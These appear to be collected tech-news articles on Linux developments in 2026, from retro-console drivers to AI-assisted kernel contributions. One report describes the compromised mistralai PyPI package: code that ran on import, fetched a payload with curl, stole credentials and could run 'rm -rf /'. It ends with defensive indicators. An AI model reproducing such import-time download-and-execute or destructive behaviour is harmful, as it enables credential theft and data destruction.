A set of updates for Sega Dreamcast hardware has been merged into the Linux 7.2-rc3 kernel this weekend. Dmitry Torokhov submitted updates addressing the legendary console’s input subsystem and Linus Torvalds merged them on Saturday. The updates even surprised Linux-focused site Phoronix, That’s probably due to context: the Dreamcast continues to enjoy support while admittedly older but real computing hardware like the i486, PowerPC 40x chips, DEC Alpha, and Itanium / IA‑64, have all been sidelined in recent times.

In brief, the updates should mean new versions of Linux will come with more stable mouse, keyboard, and joystick drivers for Dreamcast stalwarts. If you are one of the Dreamcast faithful, still satisfying your computing (and gaming) needs on the final original consumer gaming hardware from Sega, this is good news.

Reading the pull request we can see some details about the new drivers for the Dreamcast’s Maple‑bus peripherals (mouse, keyboard, controller). Specifically, there’s a “fix for a crash in Sega Dreamcast (Maple) mouse driver when opening the device, caused by missing driver data,” as well as “Fixes for Maple drivers (keyboard, mouse, joystick) to properly order setting driver data and device registration to avoid races.” In this context races refers to things happening in the wrong order to result in crashes: it’s a timing bug that’s now been quashed.

Dreamcast hangers-on will now be able to craft specialized Linux builds on CD-R for their machines. The maplemouse driver has had the now-fixed crash-inducing bug since 2017.

Phoronix also comments that Linux kernel fixes for the GD-ROM driver used by the Dreamcast and a proposal for the VMUFAT file-system driver were also seen this year.

The Sega Dreamcast launched at the end of 1998 (in Japan, and the following year in the U.S.). So, in some ways it isn’t that surprising that it is still getting Linux kernel updates when the Intel i486 (1989) has been retired from mainline support. But one might have expected stronger demand for supported Linux distributions among i486 desktop and laptop users.

A Spanish systems software developer has ported Linux to the Atari Jaguar console. To succeed at the task, cakehonolulu had to overcome severe memory limits, the lack of a memory management unit (MMU), and face off against a handful of unusual hardware quirks. A blog post from the dev tells us about the work to port Linux to this ill-fated 1993-launched flop, and happily ends in evidence that a working Linux kernel and BusyBox command line shell can be booted on the old Jag. Now Linux runs on both your cherished real hardware via cartridge, or in a Jaguar emulator.

Anyone wishing to port Linux to the Atari Jaguar would face numerous constraints due to the hardware. One of the first hurdles successfully leaped by cakehonolulu was the CPU used. Atari’s system designers architected the Jag using a Motorola 68000 CPU, which was already pretty old at the time, but a moderately fast 13.3 MHz version was selected. Though the gaming prowess of the console was lifted by custom co-processors dubbed Tom & Jerry, some games didn’t make much use of this graphics and DSP acceleration, as it was notoriously difficult to tap into.

For this Linux port, the general CPU capabilities of the M68000 would also be targeted to run the OS. With that in mind, and knowing that the CPU lacked an MMU, cakehonolulu was lucky to find that classic Motorola 68k processors are still supported by Linux, and also the uClinux project, which allows Linux to run on MMU‑less systems like the Jaguar.

While these prior works were helpful, it wasn’t long until the linux_jag developer needed to battle with other Atari Jaguar constraints. The console comes with just 2MB of RAM and up to 6MB of ROM, which is incredibly miserly compared to even the cheapest microcontrollers and SBCs nowadays. Much RAM and storage optimization later, cakehonolulu tripped over a few issues getting Linux to boot on the Jaguar, and ended up implementing a console driver for Tom so the OS would work on real hardware.

A brief Atari Jaguar history

Atari’s Jaguar was released with great pride by the iconic video game company in 1993. It was controversially claimed to be the world’s first 64-bit console, but it still never managed to push aside incumbent previous-gen machines from Sega (Genesis / Mega Drive) or Nintendo (Super NES).

The mass market had enough patience to largely ignore the first wave of ‘early fifth-generation consoles’ like this, the 3DO, and the Amiga CD32. They were rewarded handsomely with the launch of the true accelerated 3D gaming next-gen wave, led by the Sega Saturn (which also used an M68000 CPU, alongside co-processors), Sony’s first PlayStation, and the Nintendo 64.

History can be a little unfair to the Atari, though, as it did have some eye-popping for the time original games and ports. I owned the original console with Alien vs. Predator (1994), and it was quite a stunning, tense, and scary game. Others thought the Jag’s Tempest 2000 was a killer app. In addition, there were strong Doom and Wolfenstein 3D FPS ports from the PC.

No need to pinch yourself — it is, in fact, 2026, and there was a court hearing last June 22 about IBM allegedly using copyrighted source code in Unix-like products, yet again for the umpteenth time since 2003, a saga that's part of the Unix wars.

For historical context, Xinuos (formerly SCO) and IBM have been embroiled in legal battles for decades, as the companies cooperated between 1998 and 2001 on developing an Itanium variant of Unix. Since then, SCO has repeatedly and dramatically taken IBM to court, claiming the defendant misused SCO-owned source code from the collaborative effort in its AIX and z/OS products, as well as Linux. Many battles have been fought over who owns the "Unix" name, what code IBM put in Linux, and even FreeBSD.

The latest hearing pertains to a 2021 lawsuit by Xinuos, the company that acquired the remnants of Santa Cruz Operations, more commonly known as SCO. Xinuos' CEO reportedly once stated the group didn't purchase SCO just to acquire the right to sue IBM, but the company eventually changed its mind in 2021 and dragged IBM back to court on claims that its conduct and copyright infringement resulted in great damage to Xinuos' market position.

Xinuos picking a fight with a team of lawyers colloquially known as the Nazgûl is questionable on its own — yet, in the aforementioned 2021 lawsuit, Xinuos added bold claims, such as stating that IBM's purchase of Red Hat should be reversed under antitrust law, and that the company's strategy in said acquisition was to destroy FreeBSD — the variant underpinning Xinuos' wares.

How, exactly, an MIT-licensed operating system would be "destroyed" is an interesting matter. Xinuos stated at the time that "IBM and Red Hat have abused their control over the Unix/Linux operating system market for far too long." One wonders if Linux users with hundreds of distributions at their disposal would agree that IBM has been pulling their strings all along.

The lawsuit dragged on until 2025, when Xinuos voluntarily chose to drop the antitrust claim (presumably after finding little purchase from the court). It also found itself disabused of the merits behind the copyright complaint, as the New York judge in question framed the claim as time-barred: too long had passed for Xinuos to file a complaint, and original ownership of the code is murky at best. Darl McBride, the SCO executive who launched the original lawsuit, passed away from ALS in 2024.

Xinuos did, however, press on with the copyright issue and requested a hearing for an appeal. And on June 22, 2026, the firm argued in front of a three-judge Second Circuit panel that the previous judge miscast a copyright infringement claim as an ownership claim.

Say whaaaat? Hannah Montana Linux is back. The distro made as a tribute to the noughties Disney Channel sitcom for tweens and teens, featuring the eponymous secret pop star, was basically abandoned in 2009. Now it's back, with a modern kernel and about 18 years of patches, with the release of the Hannah Montana Linux v26.0 remaster by developer Noah Cagle.

Little is known about why the original Hannah Montana Linux was developed, released, and almost immediately abandoned. The version available via Archive.org is the only known release, identified as Hannah Montana Linux x86 basic edition 202201. It is still available if you’d like to test out a frozen-in-time HM-themed version of Kubuntu. You can grab it as a 691.7MB download via the link provided. Be warned that it is now “basically unusable,” though, according to Cagle, due to being insecure and for its poor software support.

Fast forward to the present day, and Cagle’s HML26 release solves all the issues with the old distro. Browsing the modern web is possible and safe, finding and installing software is easy, and the dev has even made the terminal look pretty.

In the video feature about the release of Hannah Montana Linux v26.0, Cagle provides some insight into how this version of the OS was customized, built, and released. After initially considering the Cubic GUI wizard for creating customized live ISO images of Ubuntu and Debian-based platforms, the developer decided to go with Live Build, an official tool for Debian-based distros.

We then get a walkthrough of using this tool to make a Pretty in Pink version of Debian Linux. Briefly, a lot of the work required to make a distro like HML26 is adding various files and references into a set folder structure, and then building the Linux ISO. Most of the custom imagery and iconography sit in an includes.chroot directory.

Key customized elements would include an icon pack, color scheme, and wallpapers, and they were largely built by cloning and then editing existing theme resources. The main wallpaper looks a lot like the original, and that’s because it uses the original PNG as a source, updated by Cagle to 16:9. The cherry on the cake, though, might be the stylized ‘H’ start button.

When Cagle was happy with his customizations, he sought out a way to transform the ISO from being a live-CD only so it could offer an install option. This final step in creating HML26 was done with a tool called Calamares. This app is strong in applying branding, so it was a great choice for a professional revival of Hannah Montana Linux.

You can download and try out Hannah Montana Linux v26.0 now, with the ISO available at the above-linked GitLab page under GPL 3.0. You’ll want a system with at least 8GB of RAM to enjoy this OS. Those with older machines might want to look at HML26 Lite, which switches KDE Plasma 6 for the lightweight LXQt.

NVK, the community-built open-source Vulkan driver for Nvidia GPUs in Mesa, has gained experimental DLSS support, with the code landing in Mesa 26.2-devel, as reported by Phoronix. The driver doesn’t reimplement the upscaler but instead loads Nvidia's own pre-compiled CUDA binaries and runs them, a workaround that keeps the feature behind an experimental flag and ties it to whether compatible bytecode exists for a given card. Nvidia's proprietary Linux driver has of course handled DLSS for years, so the change closes one of the bigger gaps between the closed driver and its open-source counterpart, rather than bringing the technology to Linux for the first time.

DLSS runs on NVK through VK_NVX_binary_import, a Vulkan extension that lets an application load Nvidia CuBIN files, the pre-baked CUDA binaries Nvidia, and loads them on the GPU. Autumn Ashton opened the original pull request for the extension last year, and Thomas Andersen revived it roughly two months ago to clear merge conflicts and finish the work, with the path sitting behind the NVK_EXPERIMENTAL=dlss environment variable because known bugs remain.

The catch is the reliance on pre-compiled binaries; NVK can only run DLSS where compatible bytecode already exists for the GPU in use. The proprietary Nvidia driver avoids that limit with a route that compiles PTX, Nvidia's intermediate assembly, down to GPU bytecode at runtime. NVK has no equivalent, because it can’t translate Nvidia PTX into NIR, which is the intermediate representation Mesa drivers compile from.

Support for DLSS across the broader Linux graphics stack has been uneven, to say the least. As of late last year, Nvidia's DLSS 4 was still unsupported in Valve's VKD3D-Proton translation layer, which converts DirectX 12 calls to Vulkan for games running through Proton.

NVK began in 2022 as a from-scratch Vulkan driver led by Collabora's Faith Ekstrand alongside Karol Herbst and Dave Airlie at Red Hat, and it supports Turing (RTX 20-series and GTX 16-series) and newer architectures. In late 2024, it became the first open-source Vulkan driver for Nvidia hardware to pass Khronos conformance, reaching Vulkan 1.4 provisional spec. It runs on the Nouveau kernel driver and is separate from Nvidia's own open-source kernel modules, which the company ships with its proprietary user-space software stack.

At the XDC2025 conference in November, Ekstrand said NVK runs at around 50% of the official Nvidia driver's speed in many titles, that ray tracing is still in progress, and that the team is "barely keeping the lights on" with current developer resources, according to Phoronix.

After some teasing and a couple of red herrings, Commodore today unveiled a retro-styled flip phone dubbed the Callback 8020. More specifically, the classic computing brand has showcased a Linux-based clamshell phone with “no social media, no browser* + no work or email apps.” This is its first original product designed to promote its philosophy of technology serving us, not enslaving us. It hopes to help others reap the benefits of a digital detox with the Callback, which sits flexibly between rival smart and dumb phone offerings.

• Join the Commodore Callback 8020 waitlist now to save $50.
• Pre-orders go live on June 30^th at 10:00 CEST.

Before we look more closely at the Commodore Callback 8020 and its tech specs, it may be enlightening to consider what Peri Fractic, President & CEO of Commodore, says about the origin of this surprising product. In a letter to Commodore fans, he explains that the Callback 8020 is the result of his own personal journey in curing phone addiction.

After switching to an Android flip phone, in an effort to promote digital well-being, Fractic says the process involved “learning what worked, what didn’t, and what people wanted.” Thus, the Callback 8020 was designed as “the perfect middle ground between dumb and smart, and what should a Commodore phone be today?”

The software that has helped Commodore achieve its middle ground looks like it is basically a custom version of the Jolla Sailfish OS. Thus, it can still deliver plenty of smart functionality, partly due to the broad Android app compatibility of this Linux-based OS. So, how does Commodore ensure that the Callback “minds its own flippin’ business?”

Apparently, the OS has hard blocks to stop the installation of browsers and social media apps. We guess it has some kind of app store blacklist, as the device FAQ confirms, “Users are still able to sideload apps outside those that are blocked, using APK installer files, but Callback is designed first and foremost as a calmer, more intentional phone.”

On the hardware side of things, there seem to be enough modern features to satisfy users who fit the profile of desiring an in-between smart and dumb-phone solution. It supports global LTE cellular connectivity, Wi-Fi, Bluetooth wireless, and even GPS. At the heart of the Callback is a MediaTek Helio G81 SoC, with 4GB/64GB on board. A 32GB microSD card is included to get you started, too.

Other internal components worth mentioning are the touted “audiophile-grade DAC,” which supports HD audio and lossless files, with HQ IEM (wired) earphones included in the box. Moreover, the phone’s ESS and Cirrus Logic audio chips are used to pump sounds, including its Commodore SID ringtones and built-in FM radio, to your ears.

A minimal closed clamshell display shows time and battery status, and a color LED system can be used for notifications. Opening the device, you have a 3.25-inch IPS screen with 480 x 640 pixels, a selfie camera, and a pretty ordinary-looking T9 keypad with a Commodore button.

Around the back, there’s a 48MP Sony camera with flash. The back cover is removable to swap batteries, swap the aforementioned microSD card, and access the Dual-SIM slots. Commodore is also marketing cases it calls Snapback packs, the Hardback case, and even a Backpack holster.

Finally, we are glad to hear the Callback 8020 “Ships with a modest selection of classic and modern, mindful Commodore 64 games. And with Nokia heritage, Snake of course.”

The Commodore Callback 8020 will be available in five colorways: ProtoPET White, SX Silver, BASIC Beige, Starlight Edition, and a (gold) Founders Edition. Pricing starts at $499, but there is $50 off for those joining the waitlist. Pre-orders begin at the end of this month.

AI-assisted coding (or vibe coding) has infiltrated Linux driver maintenance, with Linux developers now using LLMs to help maintain old drivers in the Linux kernel. Phoronix reports that GitHub Copilot was used to clean up code pertaining to vintage AMD R6000 Linux graphics drivers, helping keep the driver relevant for people still using these late 2000s-era GPUs.

Specifically, the R600 Gallium3D driver saw 59 commits by Gert Wollny, all aimed at cleaning up shader compiler code in the driver. The refactoring process was done with Copilot, with notes in each commit citing Copilot in auto mode being used to help build the code.

This method of driver maintenance will inevitably become a staple of Linux driver maintainers moving forward, as the world adopts AI over human programmers for writing the vast majority of code written today. The Linux community often only has a handful or a single person updating these older drivers, making AI a very incentivizing tool to compensate for a lack of manpower and help keep these older drivers alive. The R600 Linux driver is designed to run the AMD/ATI HD 2000 through HD 6000 series of graphics cards. The HD 2000 series debuted in 2007, and the HD 6000 debuted in 2010, making some of these graphics cards nearly 20 years old.

Rather than rejecting AI, Linus Torvalds has opted to embrace the adoption of AI and allow Linux developers to use AI, but only when appropriate. A new policy enforces proper tagging if Linux kernel developers use AI to assist in code creation. Critically, this system puts the blame for any buggy code on the person publishing kernel driver changes, requiring the person to test their work before publishing.

Despite the use of AI, Linux developers are, regardless, discussing branching off the R600 drivers into a legacy branch dubbed “Amber2”. This would free up the main Mesa codebase and prevent legacy drivers from accidentally breaking as new features are added to Mesa.

Linux developers are looking into retiring the x32 ABI that was introduced into the Linux kernel in 2012. Phoronix reports that Sebastian Andrezj Siewior of Lintronix has proposed removing the x32 ABI from the Linux kernel due to its obsolescence and lack of serious adoption since its debut. If no objections are raised, the x32 ABI will likely be removed from the Linux kernel by 2027.

x32 ABI was introduced to Linux in an effort to optimize the memory consumption of 64-bit programs. The application binary interface was designed to allow 64-bit processors and applications to operate in semi “64-bit/32-bit” hybrid mode. With x32 ABI, software is allowed access to the full 64-bit register file and data path but is restricted to using 32-bit pointers. For the uninitiated, a pointer is a binary number that keeps track of data that is held in system memory.

This ability allows the OS to use more than 4GB of RAM while keeping pointer sizes at just 4 bytes instead of 8 bytes (for 64-bit). This size difference is x32 ABI’s main selling point, as cutting the pointer size in half improved the amount of data that can fit in a CPU’s multiple caches and improved performance.

Despite its potential, x32 ABI also had several disadvantages. Using x32 ABI adds additional complexity for developers to deal with and requires compilers to support the feature. Arguably, its biggest technical problem relates to the fact that individual processes running with x32 ABI cannot take advantage of more than 4GB of memory due to the pointer sizes being limited to 32 bits.

That said, the nail in the coffin for x32 ABI is its lack of mainstream adoption by software developers as a whole. This was likely helped by the fact that x32 ABI was ever only implemented on Linux and was not ported to Windows or Mac. Sebastian Andrezj Siewior highlighted further issues in his proposal, noting that the better performance x32 ABI realized was not great enough for certain workloads to move to it and use it exclusively.

AMD has been accused of 'bait-and-switch' tactics following changes to the licensing of Vivado on Linux. As reported by It's Foss, AMD has decided that Linux users of the Vivado chip design environment need to pay up or stick with an older version that will become unsupported soon.

For the uninitiated, Vivado is AMD's proprietary design suite used to program Field Programmable Gate Arrays (FPGAs). These special chips can be rewired via software to mimic nearly any kind of computer hardware. This makes them invaluable for simulations and design testing. If you are designing, simulating, or testing custom circuits for AI, aerospace, or advanced electronics, Vivado is the gateway to making that hardware actually work.

The core of the outrage stems from a change in Vivado's upcoming 2026.1 update. Previously, the free "Standard" tier supported both Windows and Linux. Under the new tiered model, the free "Basic" tier is restricted entirely to Windows. If you want to use Vivado natively on Linux, you'll be forced to step up to the "Core" tier, which demands an eye-watering $1,200 to $1,800 annual subscription.

AMD's defense on its community forums has also not landed well. The company claimed that 70% of Vivado users are on Windows anyway, alienating the academic researchers, engineering students, and open-source hobbyists who heavily favor Linux-native environments and rely on free tools to learn the trade.

A forum representative for the company stated, "No one is stopping users (students, etc.) to continue using the current versions of Vivado (any Vivado version prior 2026.1)," and developing using the free Vivado ML Standard Edition, arguing that it was only if users decided to update that they'd need the license.

"I guess no one involved in this decision thought about the millions of hobbyists and amateurs like myself using Vivado for their hobby projects," one disgruntled user replied. Another noted that many users are already discussing moving to alternate platforms like Lattice and Altera due to these changes.

AMD's forum representative confirmed they were "collecting all the feedback received and passing on to the relevant team/marketing" at AMD, leaving the door ajar for a possible change to this policy down the line.

California lawmakers may be backing away from a controversial age-verification requirement bill that alarmed Linux and open-source developers earlier this year, after a new amendment bill proposed exempting most open-source operating systems from the state’s upcoming Digital Age Assurance Act. In practice, that would likely exempt most mainstream Linux distributions — including Debian, Fedora, Ubuntu, Arch Linux, and Mint — from compliance requirements scheduled to take effect on January 1, 2027.

Assembly Bill 1856 (AB 1856), currently moving through California’s legislature ahead of committee reviews in June, would amend the state’s earlier age-assurance law by excluding software distributed under licenses that allow users to “copy, redistribute, and modify the software.”

The proposed amendment specifically states: “Operating system provider” does not mean a person or entity that distributes an operating system or application under license terms that permit a recipient to copy, redistribute, and modify the software.

The amendment follows months of backlash after California passed the original Assembly Bill 1043 (AB 1043), formally known as the Digital Age Assurance Act, in late 2025. The law sought to shift online age verification away from individual websites and apps and down to the operating-system level instead.

Under the original law, operating systems would be required to request a user’s age or birth date during device setup, then expose an “age bracket signal” to apps and app stores. The law, which defined brackets such as “under 13,” “13–15,” “16–17,” and “18+,” immediately raised questions about how such requirements would apply to decentralized, open-source software ecosystems.

Unlike Apple’s iOS or Google’s Android, most Linux distributions are not centrally controlled commercial platforms. Many are community-run projects maintained by volunteers, often without user accounts, telemetry systems, or even formal corporate ownership structures. Critics argued the law’s wording was so broad that it could technically force open-source operating systems to become age-verification platforms.

Privacy advocates, including the Electronic Frontier Foundation, criticized the legislation as invasive and warned it could create infrastructure for broader identity tracking online. Linux developers also questioned how California could realistically enforce such requirements on infinitely forkable open-source software projects.

The controversy became particularly heated after reports suggested platforms like SteamOS could still fall under the law due to their ties to proprietary application ecosystems. Valve’s Linux-based gaming platform ships with the proprietary Steam storefront and client, potentially placing it closer to Apple’s App Store or Google Play from a regulatory standpoint.

AB 1856 does not repeal the original Digital Age Assurance Act. Instead, it narrows the definition of who qualifies as an “operating system provider” under the law. Commercial platforms with proprietary app ecosystems could remain subject to California’s age-assurance requirements even if most open-source Linux distributions are ultimately exempted.

California Assembly Member Buffy Wicks introduced the amendment on February 11, 2026. However, the open-source exemption language appeared in later revisions that began drawing attention across Linux and privacy communities. The latest version is dated May 18, 2026, and as of May 19, 2026, the bill was read a second time and ordered to third reading.

The creators of the Flipper Zero “portable multi-tool device for geeks” have announced the Flipper One. This new pocketable gadget hugely expands the original's feature set with compute, modularity, and expandability to make what is claimed to be a different category of device. The Flipper One isn’t actually ready yet, though. Instead, the Flipper Devices team is asking for help from the community to help steer and finesse the final stages of Flipper One development to meet their ambitious goals.

“Flipper Zero taught us how much you can do with a tightly scoped, open product and a community that pushes it further than you can,” said Pavel Zhovner, Co-Founder and CEO of Flipper Devices. “Flipper One is what happens when we apply the same approach to a much bigger problem — building a fully open ARM Linux device that doesn't go obsolete the moment it ships. To be honest, it’s hard, and we can't do that alone, which is why we're opening the development process from day one.”

Before we go on, the team wanted to stress that the Flipper One isn’t an upgraded Flipper Zero. They assert that “Flipper Zero and Flipper One are completely different projects built for different tasks.” However, after digesting the announcement material, we’d probably sum up that the Flipper One is a device that adds a very useful chunk of Linux compute to the geek multitool form factor established by the Zero. Whatever the case, the Flipper team has created a side-by-side infographic to compare the two devices, and we’ve embedded that below.

Key to the Flipper One’s expanded abilities are the inclusion of an Arm processor capable of running Linux with about the same performance level as a Raspberry Pi 5, according to the press release, plus the addition of modular M.2 expansion capabilities. These are big additions, and at this stage, the Flipper team openly admits it is still wrangling with getting everything working as intended.

Some important foundational work has been done in preparing Arm Linux for the Flipper One. For example, the team has partnered with Collabora “to push full support for the Rockchip RK3576 SoC into the mainline Linux kernel.” This is a work in progress, though, with current effort focused on power management and USB DP Alt-mode support. Moreover, drivers for the SoC’s NPU, hardware video decoding, and other accelerators aren’t fully upstream yet.

To move forward with the above and related tasks, the Flipper team has created the Flipper One Developer Portal, a public wiki with all the development documentation for Flipper One. Due to the complexity of this new networking and computing multitool, the Wiki houses sub-projects focused on Hardware, Mechanics, Linux software, MCU Firmware, User Interface, Documentation, and Testing. Anyone can join and is welcome to contribute.

It sounds like there’s a lot of work left to do, but there’s a lot of potential in this new computing multitool. Its coprocessor architecture mixes the aforementioned octa-core Rockchip RK3576 SoC, which also packs Mali-G52 graphics, an NPU, and comes with 8GB of RAM. It is partnered by the RP2350 low-power MCU. Importantly, the MCU can work alone, bringing a lot of functionality to Flipper One without even getting into Linux. The CPU and MCU communicate and work together using an interconnect system.

To make the most of the power inside a Flipper One, the OS must be optimized for the task(s). So, the development team is making Flipper OS, based on Debian. A key project in this development is FlipCTL, a framework for interacting with the device on a tiny screen using just a D-pad and a few buttons.

If you have access to a big screen, Flipper One can charge, output video to a monitor, and connect USB peripherals — all via a single USB-C DisplayPort Alt Mode cable. The built-in full-size HDMI port is also envisioned as a big-screen boon, with Flipper One connecting and becoming a “hacker’s TV media box.”

Flipper One’s open hardware module system with a widely compatible M.2 slot and GPIO port also boosts its capabilities beyond the network multitool skills it seems a natural fit for.

Lastly, no new device press release can neglect to mention AI. In this case, the Flipper One is touted as a device with a built-in AI accelerator (Rockchip's integrated NPU, remember) that can run LLMs locally. There are a couple of wrinkles to achieving this functionality right now. However, Flipper One will support external AI agents through integrations when you have internet connectivity.

Linus Torvalds declared the Linux kernel's private security mailing list "almost entirely unmanageable" on Sunday in his weekly post to the Linux Kernel Mailing List (LKML), blaming a flood of duplicate vulnerability reports generated by researchers running the same AI tools against the same code. The complaint accompanied the release of Linux 7.1-rc4 and a pointer to newly merged documentation that formalizes how AI-assisted bug reports should be handled.

The problem, according to Torvalds, is the combination of volume and redundancy: multiple researchers are independently discovering identical bugs using automated tools and filing them separately on a private mailing list, where nobody can see what has already been submitted. Maintainers end up spending their time triaging duplicates and directing reporters to fixes that were merged weeks earlier.

"AI detected bugs are pretty much by definition not secret, and treating them on some private list is a waste of time for everybody involved," Torvalds wrote on LKML.

Torvalds pointed developers to the project's security bug documentation, which states that vulnerabilities found using AI tools should be treated as public disclosures and submitted directly to the relevant maintainers, not routed through the private security list. Reports must be concise, formatted in plain text, and include a verified reproducer.

In March, Willy Tarreau, the creator of HAProxy and a longtime Linux kernel stable maintainer, said in comments posted to LWN that the kernel security mailing list, which received roughly two to three reports per week two years ago, now receives five to 10 reports per day. Most are solid finds, but the duplication across researchers using similar tooling has overwhelmed the existing triage process.

Torvalds urged researchers to go further than filing raw findings. "If you actually want to add value, read the documentation, create a patch too, and add some real value on top of what the AI did," he wrote. "Don't be the drive-by 'send a random report with no real understanding' kind of person."

This Torvalds-endorsed approach is exactly what fellow maintainer Greg Kroah-Hartman has been doing with his “Clanker T1000” system, a Framework Desktop-powered bug-finding tool: discover the issue, write the fix, take responsibility for the patch, and submit it publicly.

The Linux kernel project formalized its broader stance on AI-assisted contributions last month, establishing a project-wide policy that permits AI-generated code provided developers follow strict disclosure rules.

Under that policy, AI agents cannot use the legally binding "Signed-off-by" tag, and contributors must use a new "Assisted-by" tag for transparency. Every line of AI-generated code, and any resulting bugs, remains the legal responsibility of the human who submits it.

A keen nozzle-head has dramatically sped up their 3D printer using the portable power of a Nintendo Switch. Cocoanix 3D Printing shared a video earlier this week demonstrating the Switch-powered acceleration of their venerable Prusa MK3S. Instead of taking 90 minutes to output the famous standard 3DBenchy tugboat model, the Nvidia-accelerated MK3S took a brisk sub-nine minutes. Should you repurpose your Switch to accelerate your 3D printer? That, of course, depends…

In the video above, Cocoanix boasts about not just the increased performance but quality improvements. Using Klipper instead of Prusa’s custom firmware (originally based on Marlin years ago) delivers modern features like more extensive planning, advanced vibration compensation, and other techniques. As well as getting your output in a fraction of the time, “less ringing and ghosting” will be present in the output, according to Cocoanix.

Klipper is also a champ when it comes to configuration, with a simple and easily editable text file ready for tweaks. More traditional firmware recompilation techniques for the granular control here are thus simply not necessary. Moreover, while the printer’s motion‑control firmware is replaced by Klipper, the user interface is handled through the slick Mainsail/Fluidd web dashboard.

Thanks to the power of the Switch and Klipper, with the Prusa MK3S, the bottleneck stops being processing power or advanced features, and is instead the 3D printer’s hotend and extruder. Running the new Input Shaper, the TechTuber manages to push the MK3S “to its absolute speed limit: 400mm/s at 17,000mm/s² of acceleration.”

Modern 3D printers aren’t so short on horsepower

The touch screen Switch is a great add-on for the Prusa MK3S. However, the MK3S is of a certain vintage now, and while contemporary designs addressing the same market may suffer from similar processing bottlenecks, adding an SBC or Switch to a modern 3D printer may not be so desirable.

Here, instead of motion planning running on the 8-bit microcontroller on the system motherboard, the machine is enhanced by Klipper, farming out all the heavy compute work to the attached handheld console with a quad-core Nvidia SoC.

Users of devices like the MK3S usually employ something like a Raspberry Pi or connect to their laptop to accelerate and advance their 3D printing. The use of the Nintendo here is mostly stylish tech flair – but the integrated touchscreen might be welcomed by some.

Practicalities

A large segment of the Cocoanix video is devoted to showing folks how to install and setup Klipper on a Switch with Ubuntu Linux installed. We are then guided through how to configure and flash the MK3S to complete this project.

To witness the 3DBenchy results, you can skip forward to around 7 minutes 50 seconds in the video, where you see the little tugboat successfully printed in under nine minutes (8 minutes 41 seconds while adhering to SpeedBenchy rules, says Cocoanix).

The result looks a bit rough, but this is primarily due to how the aforementioned hotend and extruder have become the bottleneck. We’d also suggest that cooling and the bed‑slinger Y‑axis are also near their physical limits, as the design stands.

Microsoft Threat Intelligence said in an X post on Monday that it is investigating a compromise of the mistralai PyPI package after attackers reportedly injected malicious code that automatically executed on import, downloaded a secondary payload disguised as transformers.pyz, and launched malware on Linux systems — the latest incident researchers believe may be linked to the broader “Mini Shai-Hulud” software supply-chain campaign targeting developer ecosystems.

According to Microsoft, the compromised mistralai package version 2.4.6 contained malicious code inserted into mistralai/client/__init__.py that silently downloaded a file from a remote IP address to /tmp/transformers.pyz and executed it in the background whenever the package was imported on Linux machines.

The filename appears deliberately chosen to resemble Hugging Face’s widely used Transformers AI framework, potentially allowing the malware to blend into machine learning environments and evade suspicion. Microsoft said the second-stage payload functioned primarily as a credential stealer, but also contained country-aware logic and a destructive branch capable of executing rm -rf / under certain geographic conditions. The payload contained logic designed to avoid Russian-language environments, a behavior commonly observed in some cybercriminal malware campaigns, though such checks are not definitive indicators of attribution.

The disclosure comes amid a growing wave of software supply-chain compromises affecting both npm and PyPI ecosystems. Earlier Monday, security firm Aikido warned that malicious package versions tied to the popular TanStack JavaScript ecosystem had been compromised in two separate attack waves beginning around 19:20 UTC. Affected packages reportedly included @tanstack/react-router, @tanstack/history, and @tanstack/router-core, components collectively downloaded tens of millions of times per week.

Hours later, Aikido said several Mistral npm SDK packages had also been compromised as part of the same ongoing “Mini Shai-Hulud” campaign, including @mistralai/mistralai, @mistralai/mistralai-azure, and @mistralai/mistralai-gcp. The firm warned developers to immediately rotate GitHub tokens, npm credentials, cloud API keys, and CI/CD secrets if affected packages had been installed.

Microsoft has not publicly attributed the PyPI compromise to Mini Shai-Hulud. Still, the incidents share several characteristics, including malicious code inserted into trusted packages, staged payload downloads, credential theft, and automatic execution during installation or import. That overlap has raised concerns that attackers are increasingly targeting developer infrastructure itself rather than end users directly.

Modern development environments often contain high-value credentials, including GitHub personal access tokens, cloud deployment keys, SSH credentials, npm publishing tokens, and CI/CD system access. A compromised developer workstation or CI runner can therefore provide attackers with a path into much larger software ecosystems, allowing malicious updates to spread through legitimate package distribution channels.

The behavior observed in the compromised Mistralai package reflects that escalation risk. According to Microsoft’s analysis, the injected code silently used curl to retrieve the secondary payload before launching it as a detached background process designed to continue operating independently of the original Python session. The malware also reportedly suppressed execution errors and limited activity to Linux systems, the dominant operating system across servers, cloud environments, and many AI workloads.

Supply-chain attacks have become an increasingly serious concern across the software industry because of the sheer scale at which trusted dependencies are reused. A single compromised package can rapidly propagate into thousands of downstream applications, enterprise environments, and production systems. Major incidents in recent years have included the SolarWinds breach, the event-stream npm compromise, the 3CX supply-chain attack, and the XZ Utils backdoor attempt.

The latest wave appears particularly notable for simultaneously targeting AI tooling, cloud SDKs, and widely used frontend development frameworks. Researchers believe the campaign’s primary objective is credential theft, potentially allowing attackers to compromise additional packages, maintainer accounts, and publishing infrastructure in a cascading chain of ecosystem infections.

Microsoft advised organizations to isolate affected Linux hosts, block outbound connections to the malicious IP address, hunt for indicators including /tmp/transformers.pyz, pgmonitor.py, and pgsql-monitor.service, and rotate any potentially exposed credentials immediately. The compromises are still under investigation, and additional affected packages may emerge as maintainers and security firms continue auditing publishing infrastructure and compromised credentials.

AMD’s landmark K5 processor family will no longer be supported by Linux when kernel version 7.2 arrives. The Linux-watchers at Phoronix noticed the forced retirement of the venerable K5 in a recent patch designed to “remove support for TSC-less Pentium variants.” The lack of TSC (Time Stamp Counter) in the K5 apparently makes it a burden for developers to support in the kernel.

The K5 holds a special place in AMD history as the firm’s first independently designed x86 processor. However, it wasn’t a very popular processor as it arrived late, then offered lackluster performance in the competitive environment it joined.

AMD’s shiny homegrown 4.3M transistor chip featured a “RISC-based internal architecture that decoded x86 instructions into micro-instructions before executing them,” we noted in a 2008 retrospective. However, launch SKUs in 1996 were limited to clocks from 75 MHz to 133 MHz, and, due to being late, Intel’s Pentium line was already faster. AMD still managed to get an edge on the Cyrix 6x86, though.

As was de rigueur at the time, these AMD K5 chips were sold with a ‘performance rating’ (PR) figure, suggesting an integer performance comparison with an Intel Pentium with the indicated clock speed. For example, a second revision K5 with a 116 MHz clock was marketed as a K5 PR166. Enthusiasts don’t like this kind of obfuscation, even when it is clearly on the surface. We also note that this era marked the introduction of the heatsink and fan as a CPU-partnering necessity.

Intel i486, AMD Elan SoCs, and AMD Geode CPUs also put out to pasture

We reported a month ago that Linux devs had started to remove support for the 37-year-old Intel i486 CPU in patches destined for the Linux 7.1 kernel. That was probably a bigger deal than today’s AMD K5 news, as many more of these processors were sold.

